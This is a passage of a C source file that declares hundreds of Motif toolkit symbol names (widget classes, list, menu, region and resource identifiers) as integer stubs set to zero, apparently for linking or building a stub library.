int _XmHeapAlloc = 0;
int _XmHeapCreate = 0;
int _XmHeapFree = 0;
int xmHierarchyClassRec = 0;
int XmHierarchyGetChildNodes = 0;
int XmHierarchyOpenAllAncestors = 0;
int xmHierarchyWidgetClass = 0;
int _XmHighlightBorder = 0;
int _XmHighlightColorDefault = 0;
int _XmHighlightPixmapDefault = 0;
int _XmHWQuery = 0;
int xmI18ListClassRec = 0;
int XmI18ListDeselectItems = 0;
int XmI18ListDeselectRow = 0;
int XmI18ListDoSearch = 0;
int XmI18ListFindRow = 0;
int XmI18ListGetSelectedRowArray = 0;
int XmI18ListGetSelectedRows = 0;
int XmI18ListMakeRowVisible = 0;
int XmI18ListSelectAllItems = 0;
int XmI18ListSelectItems = 0;
int XmI18ListSelectRow = 0;
int XmI18ListToggleRow = 0;
int xmI18ListWidgetClass = 0;
int _XmICCCallbackToICCEvent = 0;
int _XmICCEventToICCCallback = 0;
int xmIconBoxClassRec = 0;
int XmIconBoxIsCellEmpty = 0;
int xmIconBoxWidgetClass = 0;
int xmIconButtonClassRec = 0;
int xmIconButtonWidgetClass = 0;
int xmIconGadgetClass = 0;
int xmIconGadgetClassRec = 0;
int _XmIconGadgetIconPos = 0;
int xmIconGCacheObjClassRec = 0;
int xmIconHeaderClass = 0;
int xmIconHeaderClassRec = 0;
int _XmIEndUpdate = 0;
int _XmImChangeManaged = 0;
int XmImCloseXIM = 0;
int _XmImFreeShellData = 0;
int XmImFreeXIC = 0;
int XmImGetXIC = 0;
int XmImGetXICResetState = 0;
int XmImGetXIM = 0;
int XmImMbLookupString = 0;
int XmImMbResetIC = 0;
int _XmImRealize = 0;
int _XmImRedisplay = 0;
int XmImRegister = 0;
int _XmImResize = 0;
int XmImSetFocusValues = 0;
int XmImSetValues = 0;
int XmImSetXIC = 0;
int XmImUnregister = 0;
int XmImUnsetFocus = 0;
int XmImVaSetFocusValues = 0;
int XmImVaSetValues = 0;
int _XmIndexToTargets = 0;
int _XmInheritClass = 0;
int _XmInImageCache = 0;
int _XmInitByteOrderChar = 0;
int _XmInitializeExtensions = 0;
int _XmInitializeMenuCursor = 0;
int _XmInitializeScrollBars = 0;
int _XmInitializeSyntheticResources = 0;
int _XmInitializeTraits = 0;
int _XmInitModifiers = 0;
int _XmInitTargetsTable = 0;
int _XmInputForGadget = 0;
int _XmInputInGadget = 0;
int _XmInstallImage = 0;
int XmInstallImage = 0;
int _XmInstallPixmap = 0;
int _XmInstallProtocols = 0;
int XmInternAtom = 0;
int _XmIntersectionOf = 0;
int _XmIntersectRect = 0;
int _XmInvalidCursorIconQuark = 0;
int _XmIsActiveTearOff = 0;
int _XmIsEventUnique = 0;
int _XmIsFastSubclass = 0;
int _XmIsISO10646 = 0;
int XmIsMotifWMRunning = 0;
int _XmIsNavigable = 0;
int _XmIsScrollableClipWidget = 0;
int _XmIsSlowSubclass = 0;
int _XmIsStandardMotifWidgetClass = 0;
int _XmIsSubclassOf = 0;
int _XmIsTearOffShellDescendant = 0;
int XmIsTraversable = 0;
int _XmIsViewable = 0;
int _XmJpegErrorExit = 0;
int _XmJpegGetImage = 0;
int _XmLabel_AccessTextualRecord = 0;
int _XmLabelCacheCompare = 0;
int _XmLabelCalcTextRect = 0;
int xmLabelClassRec = 0;
int _XmLabelCloneMenuSavvy = 0;
int _XmLabelConvert = 0;
int _XmLabel_defaultTranslations = 0;
int _XmLabelGadClassExtRec = 0;
int xmLabelGadgetClass = 0;
int xmLabelGadgetClassRec = 0;
int xmLabelGCacheObjClassRec = 0;
int _XmLabelGCalcTextRect = 0;
int _XmLabelGCloneMenuSavvy = 0;
int _XmLabelGCVTRedraw = 0;
int _XmLabel_menuTranslations = 0;
int _XmLabel_menu_traversal_events = 0;
int _XmLabelPrimClassExtRec = 0;
int _XmLabelSetBackgroundGC = 0;
int xmLabelWidgetClass = 0;
int _XmLeafPaneFocusOut = 0;
int _XmLeaveGadget = 0;
int _XmLinkCursorIconQuark = 0;
int _XmListAddAfter = 0;
int _XmListAddBefore = 0;
int XmListAddItem = 0;
int XmListAddItems = 0;
int XmListAddItemsUnselected = 0;
int XmListAddItemUnselected = 0;
int xmListClassRec = 0;
int _XmListCount = 0;
int XmListDeleteAllItems = 0;
int XmListDeleteItem = 0;
int XmListDeleteItems = 0;
int XmListDeleteItemsPos = 0;
int XmListDeletePos = 0;
int XmListDeletePositions = 0;
int XmListDeselectAllItems = 0;
int XmListDeselectItem = 0;
int XmListDeselectPos = 0;
int _XmListExec = 0;
int _XmListFree = 0;
int XmListGetKbdItemPos = 0;
int XmListGetMatchPos = 0;
int XmListGetSelectedPos = 0;
int _XmListInit = 0;
int XmListItemExists = 0;
int XmListItemPos = 0;
int _XmList_ListXlations1 = 0;
int _XmList_ListXlations2 = 0;
int XmListPosSelected = 0;
int XmListPosToBounds = 0;
int _XmListRemove = 0;
int XmListReplaceItems = 0;
int XmListReplaceItemsPos = 0;
int XmListReplaceItemsPosUnselected = 0;
int XmListReplaceItemsUnselected = 0;
int XmListReplacePositions = 0;
int XmListSelectItem = 0;
int XmListSelectPos = 0;
int XmListSetAddMode = 0;
int XmListSetBottomItem = 0;
int XmListSetBottomPos = 0;
int XmListSetHorizPos = 0;
int XmListSetItem = 0;
int XmListSetKbdItemPos = 0;
int XmListSetPos = 0;
int XmListUpdateSelectedList = 0;
int xmListWidgetClass = 0;
int XmListYToPos = 0;
int _XmLowerCase = 0;
int _XmLowerTearOffObscuringPoppingDownPanes = 0;
int xmMainWindowClassRec = 0;
int XmMainWindowSep1 = 0;
int XmMainWindowSep2 = 0;
int XmMainWindowSep3 = 0;
int XmMainWindowSetAreas = 0;
int xmMainWindowWidgetClass = 0;
int _XmMakeGeometryRequest = 0;
int xmManagerClassRec = 0;
int _XmManager_defaultTranslations = 0;
int _XmManagerEnter = 0;
int _XmManagerFocusIn = 0;
int _XmManagerFocusInInternal = 0;
int _XmManagerFocusOut = 0;
int _XmManagerGetValuesHook = 0;
int _XmManagerHelp = 0;
int _XmManagerHighlightPixmapDefault = 0;
int _XmManagerImportArgs = 0;
int _XmManagerLeave = 0;
int _XmManager_managerTraversalTranslations = 0;
int _XmManagerParentActivate = 0;
int _XmManagerParentCancel = 0;
int _XmManagerTopShadowPixmapDefault = 0;
int _XmManagerUnmap = 0;
int xmManagerWidgetClass = 0;
int _XmMapBtnEvent = 0;
int _XmMapHashTable = 0;
int _XmMapKeyEvent = 0;
int _XmMapKeyEvents = 0;
int XmMapSegmentEncoding = 0;
int _XmMatchBDragEvent = 0;
int _XmMatchBSelectEvent = 0;
int _XmMatchBtnEvent = 0;
int _XmMatchKeyEvent = 0;
int _XmMenuBarFix = 0;
int _XmMenuBarGadgetSelect = 0;
int _XmMenuBtnDown = 0;
int _XmMenuBtnUp = 0;
int _XmMenuButtonTakeFocus = 0;
int _XmMenuButtonTakeFocusUp = 0;
int _XmMenuCursorContext = 0;
int _XmMenuEscape = 0;
int _XmMenuFocus = 0;
int _XmMenuFocusIn = 0;
int _XmMenuFocusOut = 0;
int _XmMenuGadgetDrag = 0;
int _XmMenuGadgetTraverseCurrent = 0;
int _XmMenuGadgetTraverseCurrentUp = 0;
int _XmMenuGrabKeyboardAndPointer = 0;
int _XmMenuHelp = 0;
int _XmMenuPopDown = 0;
int XmMenuPosition = 0;
int _XmMenuSetInPMMode = 0;
int xmMenuShellClassRec = 0;
int _XmMenuShell_translations = 0;
int xmMenuShellWidgetClass = 0;
int _XmMenuTraversalHandler = 0;
int _XmMenuTraverseDown = 0;
int _XmMenuTraverseLeft = 0;
int _XmMenuTraverseRight = 0;
int _XmMenuTraverseUp = 0;
int _XmMenuUnmap = 0;
int xmMessageBoxClassRec = 0;
int _XmMessageBoxGeoMatrixCreate = 0;
int XmMessageBoxGetChild = 0;
int _XmMessageBoxNoGeoRequest = 0;
int xmMessageBoxWidgetClass = 0;
int _XmMessageTypeToReason = 0;
int _XmMgrTraversal = 0;
int _XmMicroSleep = 0;
int _Xm_MOTIF_DRAG_AND_DROP_MESSAGE = 0;
int _XmMoveCursorIconQuark = 0;
int _XmMoveObject = 0;
int _XmMoveWidget = 0;
int _XmMsgBaseClass_0000 = 0;
int _XmMsgBaseClass_0001 = 0;
int _XmMsgBulletinB_0001 = 0;
int _XmMsgCascadeB_0000 = 0;
int _XmMsgCascadeB_0001 = 0;
int _XmMsgCascadeB_0002 = 0;
int _XmMsgCascadeB_0003 = 0;
int _XmMsgColObj_0001 = 0;
int _XmMsgColObj_0002 = 0;
int _XmMsgComboBox_0000 = 0;
int _XmMsgComboBox_0001 = 0;
int _XmMsgComboBox_0004 = 0;
int _XmMsgComboBox_0005 = 0;
int _XmMsgComboBox_0006 = 0;
int _XmMsgComboBox_0007 = 0;
int _XmMsgComboBox_0008 = 0;
int _XmMsgComboBox_0009 = 0;
int _XmMsgComboBox_0010 = 0;
int _XmMsgComboBox_0011 = 0;
int _XmMsgComboBox_0012 = 0;
int _XmMsgComboBox_0013 = 0;
int _XmMsgComboBox_0014 = 0;
int _XmMsgCommand_0000 = 0;
int _XmMsgCommand_0001 = 0;
int _XmMsgCommand_0002 = 0;
int _XmMsgCommand_0003 = 0;
int _XmMsgCommand_0004 = 0;
int _XmMsgCommand_0005 = 0;
int _XmMsgContainer_0000 = 0;
int _XmMsgContainer_0001 = 0;
int _XmMsgCutPaste_0000 = 0;
int _XmMsgCutPaste_0001 = 0;
int _XmMsgCutPaste_0002 = 0;
int _XmMsgCutPaste_0003 = 0;
int _XmMsgCutPaste_0004 = 0;
int _XmMsgCutPaste_0005 = 0;
int _XmMsgCutPaste_0006 = 0;
int _XmMsgCutPaste_0007 = 0;
int _XmMsgCutPaste_0008 = 0;
int _XmMsgCutPaste_0009 = 0;
int _XmMsgDataF_0000 = 0;
int _XmMsgDataF_0001 = 0;
int _XmMsgDataF_0002 = 0;
int _XmMsgDataF_0003 = 0;
int _XmMsgDataF_0004 = 0;
int _XmMsgDataF_0005 = 0;
int _XmMsgDataF_0006 = 0;
int _XmMsgDataFWcs_0000 = 0;
int _XmMsgDataFWcs_0001 = 0;
int _XmMsgDialogS_0000 = 0;
int _XmMsgDisplay_0001 = 0;
int _XmMsgDisplay_0002 = 0;
int _XmMsgDisplay_0003 = 0;
int _XmMsgDragBS_0000 = 0;
int _XmMsgDragBS_0001 = 0;
int _XmMsgDragBS_0002 = 0;
int _XmMsgDragBS_0003 = 0;
int _XmMsgDragBS_0004 = 0;
int _XmMsgDragBS_0005 = 0;
int _XmMsgDragBS_0006 = 0;
int _XmMsgDragC_0001 = 0;
int _XmMsgDragC_0002 = 0;
int _XmMsgDragC_0003 = 0;
int _XmMsgDragC_0004 = 0;
int _XmMsgDragC_0005 = 0;
int _XmMsgDragC_0006 = 0;
int _XmMsgDragICC_0000 = 0;
int _XmMsgDragICC_0001 = 0;
int _XmMsgDragIcon_0000 = 0;
int _XmMsgDragIcon_0001 = 0;
int _XmMsgDragOverS_0000 = 0;
int _XmMsgDragOverS_0001 = 0;
int _XmMsgDragOverS_0002 = 0;
int _XmMsgDragOverS_0003 = 0;
int _XmMsgDragUnder_0000 = 0;
int _XmMsgDragUnder_0001 = 0;
int _XmMsgDropSMgr_0001 = 0;
int _XmMsgDropSMgr_0002 = 0;
int _XmMsgDropSMgr_0003 = 0;
int _XmMsgDropSMgr_0004 = 0;
int _XmMsgDropSMgr_0005 = 0;
int _XmMsgDropSMgr_0006 = 0;
int _XmMsgDropSMgr_0007 = 0;
int _XmMsgDropSMgr_0008 = 0;
int _XmMsgDropSMgr_0009 = 0;
int _XmMsgDropSMgr_0010 = 0;
int _XmMsgDropSMgrI_0001 = 0;
int _XmMsgDropSMgrI_0002 = 0;
int _XmMsgDropSMgrI_0003 = 0;
int _XmMsgForm_0000 = 0;
int _XmMsgForm_0002 = 0;
int _XmMsgForm_0003 = 0;
int _XmMsgGadget_0000 = 0;
int _XmMsgLabel_0003 = 0;
int _XmMsgLabel_0004 = 0;
int _XmMsgList_0000 = 0;
int _XmMsgList_0005 = 0;
int _XmMsgList_0006 = 0;
int _XmMsgList_0007 = 0;
int _XmMsgList_0008 = 0;
int _XmMsgList_0009 = 0;
int _XmMsgList_0010 = 0;
int _XmMsgList_0011 = 0;
int _XmMsgList_0012 = 0;
int _XmMsgList_0013 = 0;
int _XmMsgList_0014 = 0;
int _XmMsgList_0015 = 0;
int _XmMsgMainW_0000 = 0;
int _XmMsgMainW_0001 = 0;
int _XmMsgManager_0000 = 0;
int _XmMsgManager_0001 = 0;
int _XmMsgMenuShell_0000 = 0;
int _XmMsgMenuShell_0001 = 0;
int _XmMsgMenuShell_0002 = 0;
int _XmMsgMenuShell_0003 = 0;
int _XmMsgMenuShell_0004 = 0;
int _XmMsgMenuShell_0005 = 0;
int _XmMsgMenuShell_0006 = 0;
int _XmMsgMenuShell_0007 = 0;
int _XmMsgMenuShell_0008 = 0;
int _XmMsgMenuShell_0009 = 0;
int _XmMsgMessageB_0003 = 0;
int _XmMsgMessageB_0004 = 0;
int _XmMsgMotif_0000 = 0;
int _XmMsgMotif_0001 = 0;
int _XmMsgNotebook_0000 = 0;
int _XmMsgPanedW_0000 = 0;
int _XmMsgPanedW_0001 = 0;
int _XmMsgPanedW_0002 = 0;
int _XmMsgPanedW_0004 = 0;
int _XmMsgPanedW_0005 = 0;
int _XmMsgPixConv_0000 = 0;
int _XmMsgPrimitive_0000 = 0;
int _XmMsgProtocols_0000 = 0;
int _XmMsgProtocols_0001 = 0;
int _XmMsgProtocols_0002 = 0;
int _XmMsgRegion_0000 = 0;
int _XmMsgRepType_0000 = 0;
int _XmMsgRepType_0001 = 0;
int _XmMsgRepType_0002 = 0;
int _XmMsgResConvert_0001 = 0;
int _XmMsgResConvert_0002 = 0;
int _XmMsgResConvert_0003 = 0;
int _XmMsgResConvert_0005 = 0;
int _XmMsgResConvert_0006 = 0;
int _XmMsgResConvert_0007 = 0;
int _XmMsgResConvert_0008 = 0;
int _XmMsgResConvert_0009 = 0;
int _XmMsgResConvert_0010 = 0;
int _XmMsgResConvert_0011 = 0;
int _XmMsgResConvert_0012 = 0;
int _XmMsgResConvert_0013 = 0;
int _XmMsgResource_0001 = 0;
int _XmMsgResource_0002 = 0;
int _XmMsgResource_0003 = 0;
int _XmMsgResource_0004 = 0;
int _XmMsgResource_0005 = 0;
int _XmMsgResource_0006 = 0;
int _XmMsgResource_0007 = 0;
int _XmMsgResource_0008 = 0;
int _XmMsgResource_0009 = 0;
int _XmMsgResource_0010 = 0;
int _XmMsgResource_0011 = 0;
int _XmMsgResource_0012 = 0;
int _XmMsgResource_0013 = 0;
int _XmMsgRowColText_0024 = 0;
int _XmMsgRowColumn_0000 = 0;
int _XmMsgRowColumn_0001 = 0;
int _XmMsgRowColumn_0002 = 0;
int _XmMsgRowColumn_0003 = 0;
int _XmMsgRowColumn_0004 = 0;
int _XmMsgRowColumn_0005 = 0;
int _XmMsgRowColumn_0007 = 0;
int _XmMsgRowColumn_0008 = 0;
int _XmMsgRowColumn_0015 = 0;
int _XmMsgRowColumn_0016 = 0;
int _XmMsgRowColumn_0017 = 0;
int _XmMsgRowColumn_0018 = 0;
int _XmMsgRowColumn_0019 = 0;
int _XmMsgRowColumn_0020 = 0;
int _XmMsgRowColumn_0022 = 0;
int _XmMsgRowColumn_0023 = 0;
int _XmMsgRowColumn_0025 = 0;
int _XmMsgRowColumn_0026 = 0;
int _XmMsgRowColumn_0027 = 0;
int _XmMsgScale_0000 = 0;
int _XmMsgScale_0001 = 0;
int _XmMsgScale_0002 = 0;
int _XmMsgScale_0006 = 0;
int _XmMsgScale_0007 = 0;
int _XmMsgScale_0008 = 0;
int _XmMsgScale_0009 = 0;
int _XmMsgScaleScrBar_0004 = 0;
int _XmMsgScreen_0000 = 0;
int _XmMsgScreen_0001 = 0;
int _XmMsgScrollBar_0000 = 0;
int _XmMsgScrollBar_0001 = 0;
int _XmMsgScrollBar_0002 = 0;
int _XmMsgScrollBar_0003 = 0;
int _XmMsgScrollBar_0004 = 0;
int _XmMsgScrollBar_0005 = 0;
int _XmMsgScrollBar_0006 = 0;
int _XmMsgScrollBar_0007 = 0;
int _XmMsgScrollBar_0008 = 0;
int _XmMsgScrolledW_0004 = 0;
int _XmMsgScrolledW_0005 = 0;
int _XmMsgScrolledW_0006 = 0;
int _XmMsgScrolledW_0007 = 0;
int _XmMsgScrolledW_0008 = 0;
int _XmMsgScrolledW_0009 = 0;
int _XmMsgScrollFrameT_0000 = 0;
int _XmMsgScrollFrameT_0001 = 0;
int _XmMsgScrollVis_0000 = 0;
int _XmMsgSelectioB_0001 = 0;
int _XmMsgSelectioB_0002 = 0;
int _XmMsgSpinB_0003 = 0;
int _XmMsgSpinB_0004 = 0;
int _XmMsgSpinB_0005 = 0;
int _XmMsgSpinB_0006 = 0;
int _XmMsgSpinB_0007 = 0;
int _XmMsgSpinB_0008 = 0;
int _XmMsgSSpinB_0001 = 0;
int _XmMsgSSpinB_0002 = 0;
int _XmMsgSSpinB_0003 = 0;
int _XmMsgText_0000 = 0;
int _XmMsgTextF_0000 = 0;
int _XmMsgTextF_0001 = 0;
int _XmMsgTextF_0002 = 0;
int _XmMsgTextF_0003 = 0;
int _XmMsgTextF_0004 = 0;
int _XmMsgTextF_0006 = 0;
int _XmMsgTextFWcs_0000 = 0;
int _XmMsgTextIn_0000 = 0;
int _XmMsgTextOut_0000 = 0;
int _XmMsgTransfer_0000 = 0;
int _XmMsgTransfer_0002 = 0;
int _XmMsgTransfer_0003 = 0;
int _XmMsgTransfer_0004 = 0;
int _XmMsgTransfer_0005 = 0;
int _XmMsgTransfer_0006 = 0;
int _XmMsgTransfer_0007 = 0;
int _XmMsgVaSimple_0000 = 0;
int _XmMsgVaSimple_0001 = 0;
int _XmMsgVaSimple_0002 = 0;
int _XmMsgVendor_0000 = 0;
int _XmMsgVendor_0001 = 0;
int _XmMsgVendor_0002 = 0;
int _XmMsgVendor_0003 = 0;
int _XmMsgVisual_0000 = 0;
int _XmMsgVisual_0001 = 0;
int _XmMsgVisual_0002 = 0;
int _XmMsgXmIm_0000 = 0;
int _XmMsgXmRenderT_0000 = 0;
int _XmMsgXmRenderT_0001 = 0;
int _XmMsgXmRenderT_0002 = 0;
int _XmMsgXmRenderT_0003 = 0;
int _XmMsgXmRenderT_0004 = 0;
int _XmMsgXmRenderT_0005 = 0;
int _XmMsgXmString_0000 = 0;
int _XmMsgXmTabList_0000 = 0;
int xmMultiListClassRec = 0;
int XmMultiListDeselectItems = 0;
int XmMultiListDeselectRow = 0;
int XmMultiListGetSelectedRowArray = 0;
int XmMultiListGetSelectedRows = 0;
int XmMultiListMakeRowVisible = 0;
int XmMultiListSelectAllItems = 0;
int XmMultiListSelectItems = 0;
int XmMultiListSelectRow = 0;
int XmMultiListToggleRow = 0;
int XmMultiListUnselectAllItems = 0;
int XmMultiListUnselectItem = 0;
int xmMultiListWidgetClass = 0;
int _XmNavigate = 0;
int _XmNavigChangeManaged = 0;
int _XmNavigDestroy = 0;
int _XmNavigInitialize = 0;
int _XmNavigResize = 0;
int _XmNavigSetValues = 0;
int _XmNewTravGraph = 0;
int _XmNoneCursorIconQuark = 0;
int xmNotebookClassRec = 0;
int XmNotebookGetPageInfo = 0;
int _XmNotebook_manager_translations = 0;
int _XmNotebook_TabAccelerators = 0;
int xmNotebookWidgetClass = 0;
int _XmNotifyChildrenVisual = 0;
int _XmNumDSResources = 0;
int XmObjectAtPoint = 0;
int _XmOffsetArrow = 0;
int XmOptionButtonGadget = 0;
int XmOptionLabelGadget = 0;
int _XmOSAbsolutePathName = 0;
int _XmOSBuildFileList = 0;
int _XmOSBuildFileName = 0;
int _XmOSFileCompare = 0;
int _XmOSFindPathParts = 0;
int _XmOSFindPatternPart = 0;
int _XmOSGenerateMaskName = 0;
int _XmOSGetCharDirection = 0;
int _XmOSGetDirEntries = 0;
int _XmOSGetHomeDirName = 0;
int _XmOSGetInitialCharsDirection = 0;
int _XmOSGetLocalizedString = 0;
int XmOSGetMethod = 0;
int _XmOSInitPath = 0;
int _XmOSKeySymToCharacter = 0;
int _XmOSPutenv = 0;
int _XmOSQualifyFileSpec = 0;
int xmOutlineClassRec = 0;
int xmOutlineWidgetClass = 0;
int XMoveResizeWindow = 0;
int XMoveWindow = 0;
int xmPanedClassRec = 0;
int XmPanedGetPanes = 0;
int xmPanedWidgetClass = 0;
int xmPanedWindowClassRec = 0;
int xmPanedWindowWidgetClass = 0;
int _XmParentProcess = 0;
int XmParseMappingCreate = 0;
int XmParseMappingFree = 0;
int XmParseMappingGetValues = 0;
int XmParseMappingSetValues = 0;
int XmParsePicture = 0;
int XmParseTableFree = 0;
int _XmPathIsTraversable = 0;
int XmPictureDelete = 0;
int XmPictureDeleteState = 0;
int XmPictureDoAutoFill = 0;
int XmPictureGetCurrentString = 0;
int XmPictureProcessCharacter = 0;
int _XmPngGetImage = 0;
int _XmPopdown = 0;
int _XmPopup = 0;
int _XmPopupSpringLoaded = 0;
int _XmPopWidgetExtData = 0;
int _XmPostPopupMenu = 0;
int _XmPrimbaseClassExtRec = 0;
int _XmPrimClassExtRec = 0;
int xmPrimitiveClassRec = 0;
int _XmPrimitive_defaultTranslations = 0;
int _XmPrimitiveEnter = 0;
int _XmPrimitiveFocusIn = 0;
int _XmPrimitiveFocusInInternal = 0;
int _XmPrimitiveFocusOut = 0;
int _XmPrimitiveGetValuesHook = 0;
int _XmPrimitiveHelp = 0;
int _XmPrimitiveHighlightPixmapDefault = 0;
int _XmPrimitiveImportArgs = 0;
int _XmPrimitiveLeave = 0;
int _XmPrimitiveParentActivate = 0;
int _XmPrimitiveParentCancel = 0;
int _XmPrimitiveTopShadowPixmapDefault = 0;
int _XmPrimitiveUnmap = 0;
int xmPrimitiveWidgetClass = 0;
int _XmProcessDrag = 0;
int _XmProcessTraversal = 0;
int XmProcessTraversal = 0;
int xmProtocolClassRec = 0;
int xmProtocolObjectClass = 0;
int _XmPushB_defaultTranslations = 0;
int _XmPushBGadClassExtRec = 0;
int _XmPushB_menuTranslations = 0;
int _XmPushBPrimClassExtRec = 0;
int xmPushButtonClassRec = 0;
int xmPushButtonGadgetClass = 0;
int xmPushButtonGadgetClassRec = 0;
int xmPushButtonGCacheObjClassRec = 0;
int xmPushButtonWidgetClass = 0;
int _XmPushWidgetExtData = 0;
int _XmPutScaledImage = 0;
int XmQmotif = 0;
int XmQTaccessColors = 0;
int XmQTaccessTextual = 0;
int XmQTactivatable = 0;
int XmQTcareParentVisual = 0;
int _XmQTclipWindow = 0;
int XmQTcontainer = 0;
int XmQTcontainerItem = 0;
int XmQTdialogShellSavvy = 0;
int XmQTjoinSide = 0;
int XmQTmenuSavvy = 0;
int XmQTmenuSystem = 0;
int XmQTmotifTrait = 0;
int XmQTnavigator = 0;
int XmQTpointIn = 0;
int XmQTscrollFrame = 0;
int XmQTspecifyLayoutDirection = 0;
int XmQTspecifyRenderTable = 0;
int XmQTspecifyUnhighlight = 0;
int XmQTspecifyUnitType = 0;
int XmQTtakesDefault = 0;
int XmQTtoolTip = 0;
int XmQTtoolTipConfig = 0;
int XmQTtransfer = 0;
int XmQTtraversalControl = 0;
int _XmQualifyLabelLocalCache = 0;
int _XmQueryPixmapCache = 0;
int _XmQueueCount = 0;
int _XmQueueFree = 0;
int _XmQueueInit = 0;
int _XmQueuePop = 0;
int _XmRCAdaptToSize = 0;
int _XmRC_AddPopupEventHandlers = 0;
int _XmRC_AddToPostFromList = 0;
int _XmRCArmAndActivate = 0;
int _XmRC_CheckAndSetOptionCascade = 0;
int _XmRCColorHook = 0;
int _XmRCDoMarginAdjustment = 0;
int _XmRC_DoProcessMenuTree = 0;
int _XmRC_GadgetTraverseDown = 0;
int _XmRC_GadgetTraverseLeft = 0;
int _XmRC_GadgetTraverseRight = 0;
int _XmRC_GadgetTraverseUp = 0;
int _XmRCGetKidGeo = 0;
int _XmRC_GetLabelString = 0;
int _XmRC_GetMenuAccelerator = 0;
int _XmRC_GetMnemonicCharSet = 0;
int _XmRCGetTopManager = 0;
int _XmRC_KeyboardInputHandler = 0;
int _XmRCMenuProcedureEntry = 0;
int _XmRC_menuSystemRecord = 0;
int _XmRC_PostTimeOut = 0;
int _XmRCPreferredSize = 0;
int _XmRC_ProcessSingleWidget = 0;
int _XmRC_RemoveFromPostFromList = 0;
int _XmRC_RemoveFromPostFromListOnDestroyCB = 0;
int _XmRC_RemoveHandlersFromPostFromWidget = 0;
int _XmRC_RemovePopupEventHandlers = 0;
int _XmRCSetKidGeo = 0;
int _XmRC_SetMenuHistory = 0;
int _XmRC_SetOptionMenuHistory = 0;
int _XmRC_SetOrGetTextMargins = 0;
int _XmRCThinkAboutSize = 0;
int _XmRC_UpdateOptionMenuCBG = 0;
int _XmReadDragBuffer = 0;
int _XmReadDSFromStream = 0;
int _XmReadImageAndHotSpotFromFile = 0;
int _XmReadInitiatorInfo = 0;
int _XmReasonToMessageType = 0;
int _XmReCacheLabG = 0;
int _XmReCacheLabG_r = 0;
int _XmRecordEvent = 0;
int _XmRedisplayGadgets = 0;
int _XmRedisplayHBar = 0;
int _XmRedisplayLabG = 0;
int _XmRedisplayVBar = 0;
int _XmRegionClear = 0;
int _XmRegionComputeExtents = 0;
int _XmRegionCreate = 0;
int _XmRegionCreateSize = 0;
int _XmRegionDestroy = 0;
int _XmRegionDrawShadow = 0;
int _XmRegionEqual = 0;
int _XmRegionFromImage = 0;
int _XmRegionGetExtents = 0;
int _XmRegionGetNumRectangles = 0;
int _XmRegionGetRectangles = 0;
int _XmRegionIntersect = 0;
int _XmRegionIntersectRectWithRegion = 0;
int _XmRegionIsEmpty = 0;
int _XmRegionOffset = 0;
int _XmRegionPointInRegion = 0;
int _XmRegionSetGCRegion = 0;
int _XmRegionShrink = 0;
int _XmRegionSubtract = 0;
int _XmRegionUnion = 0;
int _XmRegionUnionRectWithRegion = 0;
int _XmRegisterConverters = 0;
int XmRegisterConverters = 0;
int _XmRegisterPixmapConverters = 0;
int XmRegisterSegmentEncoding = 0;
int _XmRemoveAllCallbacks = 0;
int _XmRemoveCallback = 0;
int XmRemoveFromPostFromList = 0;
int _XmRemoveGrab = 0;
int _XmRemoveHashEntry = 0;
int _XmRemoveHashIterator = 0;
int XmRemoveProtocolCallback = 0;
int XmRemoveProtocols = 0;
int XmRemoveTabGroup = 0;
int _Xm_RemQueue = 0;
int _XmRenderCacheGet = 0;
int _XmRenderCacheSet = 0;
int XmRenderTableAddRenditions = 0;
int XmRenderTableCopy = 0;
int XmRenderTableCvtFromProp = 0;
int XmRenderTableCvtToProp = 0;
int _XmRenderTableDisplay = 0;
int _XmRenderTableFindFallback = 0;
int _XmRenderTableFindFirstFont = 0;
int _XmRenderTableFindRendition = 0;
int XmRenderTableFree = 0;
int XmRenderTableGetDefaultFontExtents = 0;
int XmRenderTableGetRendition = 0;
int XmRenderTableGetRenditions = 0;
int XmRenderTableGetTags = 0;
int _XmRenderTableRemoveRenditions = 0;
int XmRenderTableRemoveRenditions = 0;
int _XmRenditionCopy = 0;
int _XmRenditionCreate = 0;
int XmRenditionCreate = 0;
int XmRenditionFree = 0;
int _XmRenditionMerge = 0;
int XmRenditionRetrieve = 0;
int XmRenditionUpdate = 0;
int _XmReOrderResourceList = 0;
int XmRepTypeAddReverse = 0;
int XmRepTypeGetId = 0;
int XmRepTypeGetNameList = 0;
int XmRepTypeGetRecord = 0;
int XmRepTypeGetRegistered = 0;
int _XmRepTypeInstallConverters = 0;
int XmRepTypeInstallTearOffModelConverter = 0;
int XmRepTypeRegister = 0;
int XmRepTypeValidValue = 0;
int _XmRequestNewSize = 0;
int _XmResetTravGraph = 0;
int _XmResizeHashTable = 0;
int _XmResizeObject = 0;
int _XmResizeWidget = 0;
int XmResolveAllPartOffsets = 0;
int XmResolveAllPartOffsets64 = 0;
int XmResolvePartOffsets = 0;
int _XmRestoreCoreClassTranslations = 0;
int _XmRestoreExcludedTearOffToToplevelShell = 0;
int _XmRestoreTearOffToMenuShell = 0;
int _XmRestoreTearOffToToplevelShell = 0;
int _XmRootGeometryManager = 0;
int _XmRowColumn_bar_table = 0;
int xmRowColumnClassRec = 0;
int _XmRowColumn_menu_table = 0;
int _XmRowColumn_menu_traversal_table = 0;
int _XmRowColumn_option_table = 0;
int xmRowColumnWidgetClass = 0;
int _XmSaccelerator = 0;
int _XmSacceleratorText = 0;
int _XmSactivateCallback = 0;
int _XmSadjustLast = 0;
int _XmSadjustMargin = 0;
int _XmSalignment = 0;
int _XmSallowOverlap = 0;
int _XmSallowResize = 0;
int _XmSanimationMask = 0;
int _XmSanimationPixmap = 0;
int _XmSanimationPixmapDepth = 0;
int _XmSanimationStyle = 0;
int _XmSapplyCallback = 0;
int _XmSapplyLabelString = 0;
int _XmSarmCallback = 0;
int _XmSarmColor = 0;
int _XmSarmPixmap = 0;
int _XmSarrowDirection = 0;
int xmSashClassRec = 0;
int _XmSash_defTranslations = 0;
int xmSashWidgetClass = 0;
int _XmSattachment = 0;
int _XmSaudibleWarning = 0;
int _XmSautomaticSelection = 0;
int _XmSautoShowCursorPosition = 0;
int _XmSautoUnmanage = 0;
int _XmSavailability = 0;
int _XmSaveCoreClassTranslations = 0;
int _XmSaveMenuProcContext = 0;
int _XmSblendModel = 0;
int _XmSblinkRate = 0;
int _XmSbottomAttachment = 0;
int _XmSbottomOffset = 0;
int _XmSbottomPosition = 0;
int _XmSbottomShadowColor = 0;
int _XmSbottomShadowPixmap = 0;
int _XmSbottomWidget = 0;
int _XmSbrowseSelectionCallback = 0;
int _XmSbuttonAccelerators = 0;
int _XmSbuttonAcceleratorText = 0;
int _XmSbuttonCount = 0;
int _XmSbuttonFontList = 0;
int _XmSbuttonMnemonicCharSets = 0;
